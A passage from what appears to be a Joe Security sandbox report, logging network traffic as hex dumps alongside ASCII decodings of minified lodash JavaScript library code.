28 6e 5b 65 5d 29 3b 69 21 3d 3d 46 26 26 28 72 3d 72 3d 3d 3d 46 3f 69 3a 72 2b 69 29 7d 72 65 74 75 72 6e 20 72 7d 
66 75 6e 63 74 69 6f 6e 20 45 28 6e 2c 74 29 7b 66 6f 72 28 76 61 72 20 
Data Ascii: e,u){return u(n,function(n,u,i){r=e?(e=false,n):t(r,n,u,i)}),r}function A(n,t){var r=n.length;for(n.sort(t);r--;)n[r]=
n[r].c;return n}function k(n,t){for(var r,e=-1,u=n.length;++e<u;){var i=t(n[e]);i!==F&&(r=r===F?i:r+i)}return r}function E(n,t)
{for(var 

2022-05-13 14:40:13 UTC 788 IN Data Raw: 32 5d 2c 5b 22 70 61 72 74 69 61 6c 22 2c 33 32 5d 2c 5b 22 70 61 72 74 69 61 6c 52 69 67 68 74 22 2c 36 
34 5d 2c 5b 22 72 65 61 72 67 22 2c 32 35 36 5d 5d 2c 71 3d 2f 5c 62 5f 5f 70 5c 2b 3d 27 27 3b 2f 67 2c 56 3d 2f 5c 62 
28 5f 5f 70 5c 2b 3d 29 27 27 5c 2b 2f 67 2c 4b 3d 2f 28 5f 5f 65 5c 28 2e 2a 3f 5c 29 7c 5c 62 5f 5f 74 5c 29 29 5c 2b 27 
27 3b 2f 67 2c 47 3d 2f 26 28 3f 3a 61 6d 70 7c 6c 74 7c 67 74 7c 71 75 6f 74 7c 23 33 39 29 3b 2f 67 2c 48 3d 2f 5b 26 
3c 3e 22 27 5d 2f 67 2c 4a 3d 52 65 67 45 78 70 28 47 2e 73 6f 75 72 63 65 29 2c 59 3d 52 65 67 45 78 70 28 48 2e 73 6f 
75 72 63 65 29 2c 51 3d 2f 3c 25 2d 28 5b 5c 73 5c 53 5d 2b 3f 29 25 3e 2f 67 2c 58 3d 2f 3c 25 28 5b 5c 73 5c 53 5d 2b 
3f 29 25 3e 2f 67 2c 6e 6e 3d 2f 3c 25 3d 28 5b 5c 73 5c 
Data Ascii: 2],["partial",32],["partialRight",64],["rearg",256]],q=/\b__p\+='';/g,V=/\b(__p\+=)''\+/g,K=/(__e\(.*?\)|\b__t\))\+'';
/g,G=/&(?:amp|lt|gt|quot|#39);/g,H=/[&<>"']/g,J=RegExp(G.source),Y=RegExp(H.source),Q=/<%-([\s\S]+?)%>/g,X=/<%
([\s\S]+?)%>/g,nn=/<%=([\s\

2022-05-13 14:40:13 UTC 789 IN Data Raw: 5c 75 66 65 32 66 5c 5c 75 32 30 64 30 2d 5c 5c 75 32 30 66 66 5d 3f 7c 5b 5c 5c 75 30 33 30 30 2d 5c 5c 75 
30 33 36 66 5c 5c 75 66 65 32 30 2d 5c 5c 75 66 65 32 66 5c 5c 75 32 30 64 30 2d 5c 5c 75 32 30 66 66 5d 7c 28 3f 3a 
5c 5c 75 64 38 33 63 5b 5c 5c 75 64 64 65 36 2d 5c 5c 75 64 64 66 66 5d 29 7b 32 7d 7c 5b 5c 5c 75 64 38 30 30 2d 5c 
5c 75 64 62 66 66 5d 5b 5c 5c 75 64 63 30 30 2d 5c 5c 75 64 66 66 66 5d 7c 5b 5c 5c 75 64 38 30 30 2d 5c 5c 75 64 66 6
6 66 5d 29 22 2c 49 6e 3d 52 65 67 45 78 70 28 22 5b 27 5c 75 32 30 31 39 5d 22 2c 22 67 22 29 2c 52 6e 3d 52 65 67 
45 78 70 28 22 5b 5c 5c 75 30 33 30 30 2d 5c 5c 75 30 33 36 66 5c 5c 75 66 65 32 30 2d 5c 5c 75 66 65 32 66 5c 5c 75 
32 30 64 30 2d 5c 5c 75 32 30 66 66 5d 22 2c 22 67 22 29 2c 7a 6e 3d 52 
Data Ascii: \ufe2f\\u20d0-\\u20ff]?|[\\u0300-\\u036f\\ufe20-\\ufe2f\\u20d0-\\u20ff]|(?:\\ud83c[\\udde6-\\uddff]){2}|[\\ud800-
\\udbff][\\udc00-\\udfff]|[\\ud800-\\udfff])",In=RegExp("['\u2019]","g"),Rn=RegExp("[\\u0300-\\u036f\\ufe20-\\ufe2f\\u20d0-\\
u20ff]","g"),zn=R

2022-05-13 14:40:13 UTC 791 IN Data Raw: 64 66 2d 5c 5c 78 66 36 5c 5c 78 66 38 2d 5c 5c 78 66 66 5d 7c 5b 5e 5c 5c 75 64 38 30 30 2d 5c 5c 75 64 66 
66 66 5c 5c 78 61 63 5c 5c 78 62 31 5c 5c 78 64 37 5c 5c 78 66 37 5c 5c 78 30 30 2d 5c 5c 78 32 66 5c 5c 78 33 61 2d 
5c 5c 78 34 30 5c 5c 78 35 62 2d 5c 5c 78 36 30 5c 5c 78 37 62 2d 5c 5c 78 62 66 5c 5c 75 32 30 30 30 2d 5c 5c 75 32 
30 36 66 20 5c 5c 74 5c 5c 78 30 62 5c 5c 66 5c 5c 78 61 30 5c 5c 75 66 65 66 66 5c 5c 6e 5c 5c 72 5c 5c 75 32 30 32 38 
5c 5c 75 32 30 32 39 5c 5c 75 31 36 38 30 5c 5c 75 31 38 30 65 5c 5c 75 32 30 30 30 5c 5c 75 32 30 30 31 5c 5c 75 32 3
0 30 32 5c 5c 75 32 30 30 33 5c 5c 75 32 30 30 34 5c 5c 75 32 30 30 35 5c 5c 75 32 30 30 36 5c 5c 75 32 30 30 37 5c 5c 
75 32 30 30 38 5c 5c 75 32 30 30 39 5c 5c 75 32 30 30 61 5c 5c 75 
Data Ascii: df-\\xf6\\xf8-\\xff]|[^\\ud800-\\udfff\\xac\\xb1\\xd7\\xf7\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf\\u2000-\\u206f 
\\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008
\\u2009\\u200a\\u

2022-05-13 14:40:13 UTC 792 IN Data Raw: 69 6d 65 6f 75 74 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 43 6e 3d 7b 7d 3b 0a 43 6e 5b 22 5b 6f 62 6a 65 63 
74 20 46 6c 6f 61 74 33 32 41 72 72 61 79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 65 63 74 20 46 6c 6f 61 74 36 34 41 72 72 
61 79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 65 63 74 20 49 6e 74 38 41 72 72 61 79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 
65 63 74 20 49 6e 74 31 36 41 72 72 61 79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 65 63 74 20 49 6e 74 33 32 41 72 72 61 
79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 65 63 74 20 55 69 6e 74 38 41 72 72 61 79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 6
5 63 74 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 65 63 74 20 55 69 
6e 74 31 36 41 72 72 61 79 5d 22 5d 3d 43 6e 5b 22 5b 6f 62 6a 65 63 
Data Ascii: imeout".split(" "),Cn={};Cn["[object Float32Array]"]=Cn["[object Float64Array]"]=Cn["[object Int8Array]"]=Cn["
[object Int16Array]"]=Cn["[object Int32Array]"]=Cn["[object Uint8Array]"]=Cn["[object Uint8ClampedArray]"]=Cn["[object 
Uint16Array]"]=Cn["[objec

2022-05-13 14:40:13 UTC 793 IN Data Raw: 6f 62 6a 65 63 74 22 26 26 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 4f 62 6a 65 63 74 3d 3d 3d 4f 62 6a 
65 63 74 26 26 67 6c 6f 62 61 6c 2c 50 6e 3d 74 79 70 65 6f 66 20 73 65 6c 66 3d 3d 22 6f 62 6a 65 63 74 22 26 26 73 65 
6c 66 26 26 73 65 6c 66 2e 4f 62 6a 65 63 74 3d 3d 3d 4f 62 6a 65 63 74 26 26 73 65 6c 66 2c 5a 6e 3d 4e 6e 7c 7c 50 
6e 7c 7c 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 2c 71 6e 3d 74 79 70 65 6f 66 20 
65 78 70 6f 72 74 73 3d 3d 22 6f 62 6a 65 63 74 22 26 26 65 78 70 6f 72 74 73 26 26 21 65 78 70 6f 72 74 73 2e 6e 6f 64 
65 54 79 70 65 26 26 65 78 70 6f 72 74 73 2c 56 6e 3d 71 6e 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3d 3d 22 6f 62 
6a 65 63 74 22 26 26 6d 6f 64 75 6c 65 26 26 21 6d 6f 64 75 6c 
Data Ascii: object"&&global&&global.Object===Object&&global,Pn=typeof self=="object"&&self&&self.Object===Obje
ct&&self,Zn=Nn||Pn||Function("return this")(),qn=typeof exports=="object"&&exports&&!exports.nodeType&&exports
,Vn=qn&&typeof module=="object"&&module&&!modul

2022-05-13 14:40:13 UTC 795 IN Data Raw: 3a 22 63 22 2c 22 5c 75 30 31 30 62 22 3a 22 63 22 2c 22 5c 75 30 31 30 64 22 3a 22 63 22 2c 22 5c 75 30 31 
30 65 22 3a 22 44 22 2c 22 5c 75 30 31 31 30 22 3a 22 44 22 2c 22 5c 75 30 31 30 66 22 3a 22 64 22 2c 22 5c 75 30 31 
31 31 22 3a 22 64 22 2c 22 5c 75 30 31 31 32 22 3a 22 45 22 2c 22 5c 75 30 31 31 34 22 3a 22 45 22 2c 22 5c 75 30 31 
31 36 22 3a 22 45 22 2c 22 5c 75 30 31 31 38 22 3a 22 45 22 2c 22 5c 75 30 31 31 61 22 3a 22 45 22 2c 22 5c 75 30 31 
31 33 22 3a 22 65 22 2c 22 5c 75 30 31 31 35 22 3a 22 65 22 2c 22 5c 75 30 31 31 37 22 3a 22 65 22 2c 22 5c 75 30 31 
31 39 22 3a 22 65 22 2c 22 5c 75 30 31 31 62 22 3a 22 65 22 2c 22 5c 75 30 31 31 63 22 3a 22 47 22 2c 22 5c 75 30 31 
31 65 22 3a 22 47 22 2c 22 5c 75 30 31 32 30 22 3a 22 47 22 2c 22 5c 75 
Data Ascii: :"c","\u010b":"c","\u010d":"c","\u010e":"D","\u0110":"D","\u010f":"d","\u0111":"d","\u0112":"E","\u0114":"E"
,"\u0116":"E","\u0118":"E","\u011a":"E","\u0113":"e","\u0115":"e","\u0117":"e","\u0119":"e","\u011b":"e","\u011c":"G","\
u011e":"G","\u0120":"G","\u

2022-05-13 14:40:13 UTC 796 IN Data Raw: 5a 22 2c 22 5c 75 30 31 37 62 22 3a 22 5a 22 2c 22 5c 75 30 31 37 64 22 3a 22 5a 22 2c 22 5c 75 30 31 37 61 
22 3a 22 7a 22 2c 22 5c 75 30 31 37 63 22 3a 22 7a 22 2c 22 5c 75 30 31 37 65 22 3a 22 7a 22 2c 22 5c 75 30 31 33 32 
22 3a 22 49 4a 22 2c 22 5c 75 30 31 33 33 22 3a 22 69 6a 22 2c 22 5c 75 30 31 35 32 22 3a 22 4f 65 22 2c 22 5c 75 30 
31 35 33 22 3a 22 6f 65 22 2c 0a 22 5c 75 30 31 34 39 22 3a 22 27 6e 22 2c 22 5c 75 30 31 37 66 22 3a 22 73 22 7d 29 
2c 65 74 3d 77 28 7b 22 26 22 3a 22 26 61 6d 70 3b 22 2c 22 3c 22 3a 22 26 6c 74 3b 22 2c 22 3e 22 3a 22 26 67 74 3b 
22 2c 27 22 27 3a 22 26 71 75 6f 74 3b 22 2c 22 27 22 3a 22 26 23 33 39 3b 22 7d 29 2c 75 74 3d 77 28 7b 22 26 61 6d 
70 3b 22 3a 22 26 22 2c 22 26 6c 74 3b 22 3a 22 3c 22 2c 22 26 67 74 3b 
Data Ascii: Z","\u017b":"Z","\u017d":"Z","\u017a":"z","\u017c":"z","\u017e":"z","\u0132":"IJ","\u0133":"ij","\u0152":"Oe
","\u0153":"oe","\u0149":"'n","\u017f":"s"}),et=w({"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"}),ut=w({"&amp;":"&",
"&lt;":"<","&gt;

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:13 UTC 797 IN Data Raw: 73 65 74 22 3d 3d 72 7c 7c 22 70 61 72 65 6e 74 22 3d 3d 72 29 7c 7c 6f 26 26 28 22 62 75 66 66 65 72 22 3d 
3d 72 7c 7c 22 62 79 74 65 4c 65 6e 67 74 68 22 3d 3d 72 7c 7c 22 62 79 74 65 4f 66 66 73 65 74 22 3d 3d 72 29 7c 7c 
52 65 28 72 2c 66 29 29 7c 7c 75 2e 70 75 73 68 28 72 29 3b 72 65 74 75 72 6e 20 75 7d 66 75 6e 63 74 69 6f 6e 20 74 
74 28 6e 29 7b 76 61 72 20 74 3d 6e 2e 6c 65 6e 67 74 68 3b 72 65 74 75 72 6e 20 74 3f 6e 5b 63 72 28 30 2c 74 2d 31 2
9 5d 3a 46 7d 66 75 6e 63 74 69 6f 6e 20 6f 74 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 54 65 28 4d 72 28 6e 29 2c 67 74 
28 74 2c 30 2c 6e 2e 6c 65 6e 67 74 68 29 29 7d 66 75 6e 63 74 69 6f 6e 20 66 74 28 6e 29 7b 72 65 74 75 72 6e 20 54 
65 28 4d 72 28 6e 29 29 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 6e 2c 
Data Ascii: set"==r||"parent"==r)||o&&("buffer"==r||"byteLength"==r||"byteOffset"==r)||Re(r,f))||u.push(r);return u}function 
tt(n){var t=n.length;return t?n[cr(0,t-1)]:F}function ot(n,t){return Te(Mr(n),gt(t,0,n.length))}function ft(n){return Te(Mr(n
))}function ct(n,

2022-05-13 14:40:13 UTC 799 IN Data Raw: 61 3f 79 65 3a 64 65 3a 61 3f 55 75 3a 4c 75 2c 70 3d 65 3f 46 3a 61 28 6e 29 3b 72 65 74 75 72 6e 20 75 28 
70 7c 7c 6e 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 75 29 7b 70 26 26 28 75 3d 65 2c 65 3d 6e 5b 75 5d 29 2c 61 74 28 66 
2c 75 2c 64 74 28 65 2c 74 2c 72 2c 75 2c 6e 2c 6f 29 29 7d 29 2c 66 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 6e 29 7b 76 
61 72 20 74 3d 4c 75 28 6e 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 62 74 
28 72 2c 6e 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 62 74 28 6e 2c 74 2c 72 29 7b 76 61 72 20 65 3d 72 2e 6c 65 6e 6
7 74 68 3b 69 66 28 6e 75 6c 6c 3d 3d 6e 29 72 65 74 75 72 6e 21 65 3b 66 6f 72 28 6e 3d 6e 69 28 6e 29 3b 65 2d 2d 
3b 29 7b 76 61 72 20 75 3d 72 5b 65 5d 2c 69 3d 74 5b 75 5d 2c 6f 3d 
Data Ascii: a?ye:de:a?Uu:Lu,p=e?F:a(n);return u(p||n,function(e,u){p&&(u=e,e=n[u]),at(f,u,dt(e,t,r,u,n,o))}),f}function yt(n)
{var t=Lu(n);return function(r){return bt(r,n,t)}}function bt(n,t,r){var e=r.length;if(null==n)return!e;for(n=ni(n);e--;){var u=r[e],i=
t[u],o=

2022-05-13 14:40:13 UTC 800 IN Data Raw: 6c 6c 21 3d 6e 26 26 72 3c 65 3b 29 6e 3d 6e 5b 24 65 28 74 5b 72 2b 2b 5d 29 5d 3b 72 65 74 75 72 6e 20 
72 26 26 72 3d 3d 65 3f 6e 3a 46 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 6e 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 74 
3d 74 28 6e 29 2c 61 66 28 6e 29 3f 74 3a 73 28 74 2c 72 28 6e 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 74 28 6e 29 7b 6
9 66 28 6e 75 6c 6c 3d 3d 6e 29 6e 3d 6e 3d 3d 3d 46 3f 22 5b 6f 62 6a 65 63 74 20 55 6e 64 65 66 69 6e 65 64 5d 22 3a 
22 5b 6f 62 6a 65 63 74 20 4e 75 6c 6c 5d 22 3b 65 6c 73 65 20 69 66 28 6b 69 26 26 6b 69 20 69 6e 20 6e 69 28 6e 29 
29 7b 0a 76 61 72 20 74 3d 63 69 2e 63 61 6c 6c 28 6e 2c 6b 69 29 2c 72 3d 6e 5b 6b 69 5d 3b 74 72 79 7b 6e 5b 6b 69 
5d 3d 46 3b 76 61 72 20 65 3d 74 72 75 65 7d 63 61 74 63 68 28 6e 29 7b 
Data Ascii: ll!=n&&r<e;)n=n[$e(t[r++])];return r&&r==e?n:F}function Rt(n,t,r){return t=t(n),af(n)?t:s(t,r(n))}function zt(n){if(nu
ll==n)n=n===F?"[object Undefined]":"[object Null]";else if(ki&&ki in ni(n)){var t=ci.call(n,ki),r=n[ki];try{n[ki]=F;var e=true}cat
ch(n){

2022-05-13 14:40:13 UTC 801 IN Data Raw: 22 3a 79 6f 28 74 29 2c 66 3d 22 5b 6f 62 6a 65 63 74 20 41 72 67 75 6d 65 6e 74 73 5d 22 3d 3d 66 3f 22 5b 
6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3a 66 2c 63 3d 22 5b 6f 62 6a 65 63 74 20 41 72 67 75 6d 65 6e 74 73 5d 
22 3d 3d 63 3f 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3a 63 2c 61 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 
63 74 5d 22 3d 3d 66 2c 6f 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3d 3d 63 3b 69 66 28 28 63 3d 66 3d 
3d 63 29 26 26 73 66 28 6e 29 29 7b 69 66 28 21 73 66 28 74 29 29 7b 74 3d 66 61 6c 73 65 3b 62 72 65 61 6b 20 6e 7d 
69 3d 74 72 75 65 2c 61 3d 66 61 6c 73 65 7d 69 66 28 63 26 26 21 61 29 75 7c 7c 28 75 3d 6e 65 77 20 56 6e 29 2c 74 
3d 69 7c 7c 67 66 28 6e 29 3f 5f 65 28 6e 2c 74 2c 72 2c 65 2c 46 74 
Data Ascii: ":yo(t),f="[object Arguments]"==f?"[object Object]":f,c="[object Arguments]"==c?"[object Object]":c,a="[object 
Object]"==f,o="[object Object]"==c;if((c=f==c)&&sf(n)){if(!sf(t)){t=false;break n}i=true,a=false}if(c&&!a)u||(u=new Vn),t=i||gf
(n)?_e(n,t,r,e,Ft

2022-05-13 14:40:13 UTC 803 IN Data Raw: 29 3b 69 66 28 73 3d 3d 3d 46 3f 21 46 74 28 6c 2c 61 2c 33 2c 65 2c 66 29 3a 21 73 29 72 65 74 75 72 6e 20 
66 61 6c 73 65 7d 7d 72 65 74 75 72 6e 20 74 72 75 65 7d 66 75 6e 63 74 69 6f 6e 20 5a 74 28 6e 29 7b 72 65 74 75 72 
6e 21 28 21 62 75 28 6e 29 7c 7c 6c 69 26 26 6c 69 20 69 6e 20 6e 29 26 26 28 67 75 28 6e 29 3f 5f 69 3a 78 6e 29 2e 
74 65 73 74 28 46 65 28 6e 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 6e 29 7b 0a 72 65 74 75 72 6e 20 78 75 28 6e 
29 26 26 22 5b 6f 62 6a 65 63 74 20 52 65 67 45 78 70 5d 22 3d 3d 7a 74 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 56 74 
28 6e 29 7b 72 65 74 75 72 6e 20 78 75 28 6e 29 26 26 22 5b 6f 62 6a 65 63 74 20 53 65 74 5d 22 3d 3d 79 6f 28 6e 29 
7d 66 75 6e 63 74 69 6f 6e 20 4b 74 28 6e 29 7b 72 65 74 75 72 6e 20 78 
Data Ascii: );if(s===F?!Ft(l,a,3,e,f):!s)return false}}return true}function Zt(n){return!(!bu(n)||li&&li in n)&&(gu(n)?_i:xn).test
(Fe(n))}function qt(n){return xu(n)&&"[object RegExp]"==zt(n)}function Vt(n){return xu(n)&&"[object Set]"==yo(n)}function 
Kt(n){return x

2022-05-13 14:40:13 UTC 804 IN Data Raw: 29 7b 76 61 72 20 72 3d 6e 2e 6c 65 6e 67 74 68 3b 69 66 28 72 29 72 65 74 75 72 6e 20 74 2b 3d 30 3e 74 
3f 72 3a 30 2c 52 65 28 74 2c 72 29 3f 6e 5b 74 5d 3a 46 7d 66 75 6e 63 74 69 6f 6e 20 72 72 28 6e 2c 74 2c 72 29 7b 76 
61 72 20 65 3d 2d 31 3b 72 65 74 75 72 6e 20 74 3d 6c 28 74 2e 6c 65 6e 67 74 68 3f 74 3a 5b 4e 75 5d 2c 53 28 6a 65 
28 29 29 29 2c 6e 3d 59 74 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 7b 61 3a 6c 28 74 2c 66 75 6
e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 28 6e 29 7d 29 2c 62 3a 2b 2b 65 2c 63 3a 6e 7d 7d 29 2c 41 28 6e 
2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 65 3b 6e 3a 7b 65 3d 2d 31 3b 66 6f 72 28 76 61 72 20 75 3d 
6e 2e 61 2c 69 3d 74 2e 61 2c 6f 3d 75 2e 6c 65 6e 67 74 68 2c 66 3d 
Data Ascii: ){var r=n.length;if(r)return t+=0>t?r:0,Re(t,r)?n[t]:F}function rr(n,t,r){var e=-1;return t=l(t.length?t:[Nu],S(je()))
,n=Yt(n,function(n){return{a:l(t,function(t){return t(n)}),b:++e,c:n}}),A(n,function(n,t){var e;n:{e=-1;for(var u=n.a,i=t.a,o=u.le
ngth,f=

2022-05-13 14:40:13 UTC 805 IN Data Raw: 5b 75 2b 31 5d 29 3f 5b 5d 3a 7b 7d 29 7d 61 74 28 66 2c 63 2c 61 29 2c 66 3d 66 5b 63 5d 7d 72 65 74 75 72 
6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 5f 72 28 6e 29 7b 72 65 74 75 72 6e 20 54 65 28 44 75 28 6e 29 29 7d 66 75 6e 
63 74 69 6f 6e 20 76 72 28 6e 2c 74 2c 72 29 7b 76 61 72 20 65 3d 2d 31 2c 75 3d 6e 2e 6c 65 6e 67 74 68 3b 66 6f 72 
28 30 3e 74 26 26 28 74 3d 2d 74 3e 75 3f 30 3a 75 2b 74 29 2c 72 3d 72 3e 75 3f 75 3a 72 2c 30 3e 72 26 26 28 72 2b 3
d 75 29 2c 75 3d 74 3e 72 3f 30 3a 72 2d 74 3e 3e 3e 30 2c 74 3e 3e 3e 3d 30 2c 72 3d 48 75 28 75 29 3b 2b 2b 65 3c 75 
3b 29 72 5b 65 5d 3d 6e 5b 65 2b 74 5d 3b 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 67 72 28 6e 2c 74 29 
7b 76 61 72 20 72 3b 72 65 74 75 72 6e 20 6f 6f 28 6e 2c 66 75 6e 63 
Data Ascii: [u+1])?[]:{})}at(f,c,a),f=f[c]}return n}function _r(n){return Te(Du(n))}function vr(n,t,r){var e=-1,u=n.length;for(0>t
&&(t=-t>u?0:u+t),r=r>u?u:r,0>r&&(r+=u),u=t>r?0:r-t>>>0,t>>>=0,r=Hu(u);++e<u;)r[e]=n[e+t];return r}function gr(n,t){var r
;return oo(n,func

2022-05-13 14:40:13 UTC 807 IN Data Raw: 26 6c 2e 70 75 73 68 28 68 29 2c 66 2e 70 75 73 68 28 73 29 7d 65 6c 73 65 20 75 28 6c 2c 68 2c 72 29 7c 7c 
28 6c 21 3d 3d 66 26 26 6c 2e 70 75 73 68 28 68 29 2c 66 2e 70 75 73 68 28 73 29 29 7d 72 65 74 75 72 6e 20 66 7d 66 
75 6e 63 74 69 6f 6e 20 6d 72 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 52 72 28 74 2c 6e 29 2c 6e 3d 32 3e 74 2e 
6c 65 6e 67 74 68 3f 6e 3a 49 74 28 6e 2c 76 72 28 74 2c 30 2c 2d 31 29 29 2c 0a 6e 75 6c 6c 3d 3d 6e 7c 7c 64 65 6c 6
5 74 65 20 6e 5b 24 65 28 47 65 28 74 29 29 5d 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 6e 2c 74 2c 72 2c 65 29 7b 66 6f 
72 28 76 61 72 20 75 3d 6e 2e 6c 65 6e 67 74 68 2c 69 3d 65 3f 75 3a 2d 31 3b 28 65 3f 69 2d 2d 3a 2b 2b 69 3c 75 29 
26 26 74 28 6e 5b 69 5d 2c 69 2c 6e 29 3b 29 3b 72 65 74 75 72 6e 20 
Data Ascii: &l.push(h),f.push(s)}else u(l,h,r)||(l!==f&&l.push(h),f.push(s))}return f}function mr(n,t){return t=Rr(t,n),
n=2>t.length?n:It(n,vr(t,0,-1)),null==n||delete n[$e(Ge(t))]}function Ar(n,t,r,e){for(var u=n.length,i=e?u:-1;(e?i--:++i
<u)&&t(n[i],i,n););return 

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 167 of 286



2022-05-13 14:40:13 UTC 808 IN Data Raw: 26 6e 3c 74 7c 7c 61 26 26 72 26 26 75 26 26 21 65 26 26 21 69 7c 7c 66 26 26 72 26 26 75 7c 7c 21 6f 26 26 
75 7c 7c 21 63 29 72 65 74 75 72 6e 2d 31 7d 72 65 74 75 72 6e 20 30 7d 66 75 6e 63 74 69 6f 6e 20 43 72 28 6e 2c 74 
2c 72 2c 65 29 7b 76 61 72 20 75 3d 2d 31 2c 69 3d 6e 2e 6c 65 6e 67 74 68 2c 6f 3d 72 2e 6c 65 6e 67 74 68 2c 66 3d 
2d 31 2c 63 3d 74 2e 6c 65 6e 67 74 68 2c 61 3d 44 69 28 69 2d 6f 2c 30 29 2c 6c 3d 48 75 28 63 2b 61 29 3b 66 6f 72 28 
65 3d 21 65 3b 2b 2b 66 3c 63 3b 29 6c 5b 66 5d 3d 74 5b 66 5d 3b 66 6f 72 28 3b 2b 2b 75 3c 6f 3b 29 28 65 7c 7c 75 3
c 69 29 26 26 28 6c 5b 72 5b 75 5d 5d 3d 6e 5b 75 5d 29 3b 66 6f 72 28 3b 61 2d 2d 3b 29 6c 5b 66 2b 2b 5d 3d 6e 5b 
75 2b 2b 5d 3b 72 65 74 75 72 6e 20 6c 7d 66 75 6e 63 74 69 6f 6e 20 
Data Ascii: &n<t||a&&r&&u&&!e&&!i||f&&r&&u||!o&&u||!c)return-1}return 0}function Cr(n,t,r,e){var u=-1,i=n.length,o=r.len
gth,f=-1,c=t.length,a=Di(i-o,0),l=Hu(c+a);for(e=!e;++f<c;)l[f]=t[f];for(;++u<o;)(e||u<i)&&(l[r[u]]=n[u]);for(;a--;)l[f++]=n[u++];r
eturn l}function 

2022-05-13 14:40:13 UTC 809 IN Data Raw: 65 74 75 72 6e 20 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 56 72 28 6e 2c 74 2c 72 29 7b 66 75 6e 63 74 69 6f 6e 
20 65 28 29 7b 72 65 74 75 72 6e 28 74 68 69 73 26 26 74 68 69 73 21 3d 3d 5a 6e 26 26 74 68 69 73 20 69 6e 73 74 61 
6e 63 65 6f 66 20 65 3f 69 3a 6e 29 2e 61 70 70 6c 79 28 75 3f 72 3a 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 76 
61 72 20 75 3d 31 26 74 2c 69 3d 48 72 28 6e 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 4b 72 28 6e 
29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 3d 7a 75 28 74 29 3b 76 61 72 20 72 3d 42 6e 2e 74 
65 73 74 28 74 29 3f 24 28 74 29 3a 46 2c 65 3d 72 3f 72 5b 30 5d 3a 74 2e 63 68 61 72 41 74 28 30 29 3b 72 65 74 75 
72 6e 20 74 3d 72 3f 7a 72 28 72 2c 31 29 2e 6a 6f 69 6e 28 22 22 29 
Data Ascii: eturn t}}function Vr(n,t,r){function e(){return(this&&this!==Zn&&this instanceof e?i:n).apply(u?r:this,argum
ents)}var u=1&t,i=Hr(n);return e}function Kr(n){return function(t){t=zu(t);var r=Bn.test(t)?$(t):F,e=r?r[0]:t.charAt(0);return t=r
?zr(r,1).join("")

2022-05-13 14:40:13 UTC 811 IN Data Raw: 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 75 26 26 21 6f 26 26 22 77 72 61 70 70 65 72 22 3d 3d 62 65 
28 69 29 29 76 61 72 20 6f 3d 6e 65 77 20 7a 6e 28 5b 5d 2c 74 72 75 65 29 7d 66 6f 72 28 65 3d 6f 3f 65 3a 72 3b 2b 2b 
65 3c 72 3b 29 76 61 72 20 69 3d 74 5b 65 5d 2c 75 3d 62 65 28 69 29 2c 66 3d 22 77 72 61 70 70 65 72 22 3d 3d 75 3f 
5f 6f 28 69 29 3a 46 2c 6f 3d 66 26 26 42 65 28 66 5b 30 5d 29 26 26 34 32 34 3d 3d 66 5b 31 5d 26 26 21 66 5b 34 5d 
2e 6c 65 6e 67 74 68 26 26 31 3d 3d 66 5b 39 5d 3f 6f 5b 62 65 28 66 5b 30 5d 29 5d 2e 61 70 70 6c 79 28 6f 2c 66 5b 33 
5d 29 3a 31 3d 3d 69 2e 6c 65 6e 67 74 68 26 26 42 65 28 69 29 3f 6f 5b 75 5d 28 29 3a 6f 2e 74 68 72 75 28 69 29 3b 0
a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 
Data Ascii: a function");if(u&&!o&&"wrapper"==be(i))var o=new zn([],true)}for(e=o?e:r;++e<r;)var i=t[e],u=be(i),f="wrapp
